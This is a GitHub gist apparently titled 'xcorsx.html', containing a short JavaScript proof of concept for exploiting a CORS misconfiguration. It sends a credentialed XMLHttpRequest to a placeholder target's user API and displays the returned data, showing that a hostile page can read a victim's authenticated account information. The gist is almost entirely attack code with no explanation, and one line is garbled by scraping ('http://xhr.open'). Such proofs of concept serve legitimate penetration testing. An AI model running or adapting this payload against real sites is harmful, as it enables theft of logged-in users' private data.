Skip to content

Instantly share code, notes, and snippets.

@scumdestroy
Created November 30, 2023 10:18
Show Gist options
  • Save scumdestroy/539899f9cfdb7e2f0793601619d12862 to your computer and use it in GitHub Desktop.
Save scumdestroy/539899f9cfdb7e2f0793601619d12862 to your computer and use it in GitHub Desktop.
xcorsx.html
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
alert(xhr.responseText);
}
}
http://xhr.open('GET', 'http://targetapp/api/v1/user', true);
xhr.withCredentials = true;
xhr.send(null);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment